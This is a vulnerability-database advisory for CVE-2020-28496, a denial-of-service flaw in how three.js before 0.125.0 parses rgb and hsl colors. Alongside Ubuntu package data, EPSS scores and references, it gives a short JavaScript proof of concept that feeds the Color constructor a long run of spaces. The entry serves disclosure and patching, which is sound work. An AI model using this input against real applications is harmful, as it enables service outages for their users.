VDB
CVE-2020-28496
CVE-2020-28496
PUBLISHED
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
EPSS 1.42% · 81.0th percentile
Risk Scores
EPSS Score
1.42%
81.0th percentile
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| Ubuntu:24.04:LTS | three.js | 0, 111+dfsg1-3 |
| Ubuntu:20.04:LTS | three.js | *, 0, 80+dfsg2-2 |
| Ubuntu:16.04:LTS | three.js | 73+dfsg-1, 0 |
| Ubuntu:25.10 | three.js | 111+dfsg1-3, 0 |
| Ubuntu:22.04:LTS | three.js | 0, 111+dfsg1-2 |
| Ubuntu:18.04:LTS | three.js | 80+dfsg2-1, 0 |
Exploit Intelligence
Timeline
- Feb 18, 2021 CVE Published
- Feb 25, 2021 CVE Updated
- Apr 14, 2021 EPSS Score
- Jun 23, 2021 EPSS Score
- Aug 24, 2021 EPSS Score
- Dec 27, 2021 EPSS Score
- Jan 6, 2022 EPSS Score
- Feb 4, 2022 EPSS Score
- Feb 28, 2022 EPSS Score
- May 1, 2022 EPSS Score
- Jul 3, 2022 EPSS Score
- Sep 4, 2022 EPSS Score
References
- https://ubuntu.com/security/CVE-2020-28496 third-party-advisory
- https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e third-party-advisory
- https://github.com/mrdoob/three.js/issues/21132 third-party-advisory
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 third-party-advisory
- https://snyk.io/vuln/SNYK-JS-THREE-1064931 third-party-advisory
- https://www.cve.org/CVERecord?id=CVE-2020-28496 third-party-advisory